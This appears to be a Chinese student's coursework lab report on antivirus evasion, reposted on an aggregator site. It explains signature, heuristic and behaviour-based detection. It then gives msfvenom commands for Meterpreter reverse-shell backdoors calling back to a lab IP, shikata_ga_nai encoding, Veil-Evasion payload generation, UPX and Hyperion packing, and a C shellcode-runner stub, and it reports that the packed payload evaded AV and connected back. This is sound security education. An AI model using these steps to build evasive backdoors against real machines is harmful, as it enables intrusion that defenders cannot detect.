2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践
Posted lxr1006
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践相关的知识,希望对你有一定的参考价值。
2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践
1 实践说明
1.1实践内容
-
(1)正确使用msf编码器
-
(2)veil
-
(3)加壳工具
-
(4)使用C + shellcode编程
-
(5)使用其他课堂未介绍方法
-(6)通过组合应用各种技术实现恶意代码免杀并用另一电脑实测,在杀软开启的情况下,可运行并回连成功
1.2基础知识
1.2.1免杀
-
一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术
-
要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验
1.2.2恶意软件检测机制
-
基于特征码的检测
-
简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码
-
AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库
-
-
启发式恶意软件检测
-
启发式Heuristic,简单来说,就是根据些片面特征去推断;通常是因为缺乏精确判定依据
-
优点:可以检测0-day恶意软件;具有一定通用性
-
缺点:实时监控系统行为,开销稍多;没有基于特征码的精确度高
-
-
基于行为的恶意软件检测
-
最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描
-
所以后来又提出了基于行为的;从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式
-
1.2.3免杀技术(Evading AV)综述
-
改变特征码
-
如果你手里只有EXE
- 加壳:压缩壳 加密壳
-
有shellcode(像Meterpreter)
-
用encode进行编码
-
基于payload重新编译生成可执行文件
-
-
有源代码
- 用其他语言进行重写再编译(veil-evasion)
-
-
改变行为
-
通讯方式
-
尽量使用反弹式连接
-
使用隧道技术
-
加密通讯数据
-
-
操作模式
-
基于内存操作
-
减少对系统的修改
-
加入混淆作用的正常功能代码
-
-
-
非常规方法
-
使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
-
使用社工类攻击,诱骗目标关闭AV软件
-
纯手工打造一个恶意软件
-
-
留后门的思路是这样的:
-
你写一个有漏洞的软件,开一个服务端口,这个软件本身没问题,然后如果这个端口被攻击,就可以获得系统控制权
-
通过meterpreter这种驻留内存的payload,AV软件很难检出
-
这样的小漏洞程序大家也有做,自己攻击自己还是很容易的
-
-
当然最好的方法,还是手工打造,自己从头编一个,没有通用工具的特征,AV软件也就杀不出来了
- 从头打造当然是相当有难度的,但我们可以利用Metasploit已有的payload来半手工的打造,效果也不错
-
2 正确使用msf编码器
2.1 生成exe文件
- 编码一次命令如下(用-e参数编码):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘x00’ LHOST=192.168.186.133 LPORT=5334 -f exe > backdoor_5334.exe
- 编码十次命令如下(用-i参数指定编码次数):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=192.168.186.133 LPORT=5334 -f exe > backdoor_5334_2.exe
- 检测
- msfvenom会生成固定模板的exe文件,因此其具有一定特征,一般的AV厂商也会针对其模板生成特征码来进行查杀
2.2 生成jar等其它文件
- 生成jar文件命令如下:
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.186.133 lport=5334 x> backdoor_5334_java.jar
- 生成php文件命令如下:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.186.133 lport=5334 x> backdoor_5334.php
- 检测
2.3 veil
-
输入
sudo apt-get install veil
进行安装;之后用输入veil
打开,输入y
继续安装直至完成,这期间可能要等待较长时间 -
进入
Veil
后,输入use evasion
进入Veil-Evasion
-
输入
use c/meterpreter/rev_tcp.py
进入配置界面 -
设置反弹连接IP,输入
set LHOST 192.168.186.133
-
设置端口,输入
set LPORT 5334
- 最后输入
generate
生成后门程序文件后并命名
- 检测
2.4 加壳工具
- 输入以下命令为文件加压缩壳:
upx backdoor5334_3.exe -o backdoor5334_3.upxed.exe
- 检测
- 将加了压缩壳的文件放入
hyperion
目录中,输入以下命令为其加加密壳:
wine hyperion.exe -v backdoor5334_upxed.exe backdoor5334_upxed_Hyperion.exe
- 检测
- 压缩壳似乎作用不大,加密壳有一定的作用
2.5 使用C + shellcode编程
- 使用如下命令生成一段c语言格式的
shellcode
msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.186.133 LPORT=5334 -f c
- 新建一个c文件,内容如下:
java
unsigned char buf[] =
"shellcode数组内容"
int main()
{
int (*func)() = (int(*)())buf;
func();
}
-
输入
i686-w64-mingw32-g++ shell5334.c -o shell5334.exe
命令,生成可执行文件 -
检测
2.6 使用其他课堂未介绍方法
-
进入
Veil
后,输入use evasion
进入Veil-Evasion
-
输入
list
查看可用的payloads
- 输入
use 30
选择后,输入generate
生成文件,生成的文件类型选择2,生成一个exe文件,之后进行配置
-
生成的
setup.py
和runme.bat
两个文件保存在/var/lib/veil/output/source/
-
检测
3 通过组合应用各种技术实现恶意代码免杀
-
在2.6中可以看到
veil
生成的后门文件,使用Python
语言可以很好的实现免杀功能,于是这里使用了28号payload
并为其加上了加密壳 -
成功实现与杀软共存
4 用另一电脑实测,在杀软开启的情况下,可运行并回连成功
- 使用windows7操作系统,实现与杀软共存并成功回连
5 实验收获与感想
- 本次实验操作性较强,但过程并不复杂;通过本次实验学会了Veil的操作并巩固了msfvenom的操作;除此之外,我还意识到开启杀软并不能完全保护电脑安全;所以更要努力学习,一方面是提高自己的网络安全意识,另一方面是提高自己的技能去思考如何抵御恶意攻击
6 回答问题
-
(1)杀软是如何检测出恶意代码的?
- 基于特征码的检测;基于行为的恶意软件检测;启发式恶意软件检测
-
(2)免杀是做什么?
- 一种能使病毒木马免于被杀毒软件查杀的技术
-
(3)免杀的基本方法有哪些?
-
改变特征码(加壳、encode进行编码、基于payload重新编译生成可执行文件、用其他语言进行重写再编译)
-
改变行为(尽量使用反弹式连接、使用隧道技术、加密通讯数据;基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码)
-
非常规方法(使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中;使用社工类攻击,诱骗目标关闭AV软件;纯手工打造一个恶意软件)
-
-
(4)开启杀软能绝对防止电脑中恶意代码吗?
- 通过本次实验发现并不能,杀毒软件也会有缺陷,仍然会使电脑中恶意代码
以上是关于2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践的主要内容,如果未能解决你的问题,请参考以下文章
2019-2020-2 20175234 《网络对抗》 Exp0 Kali安装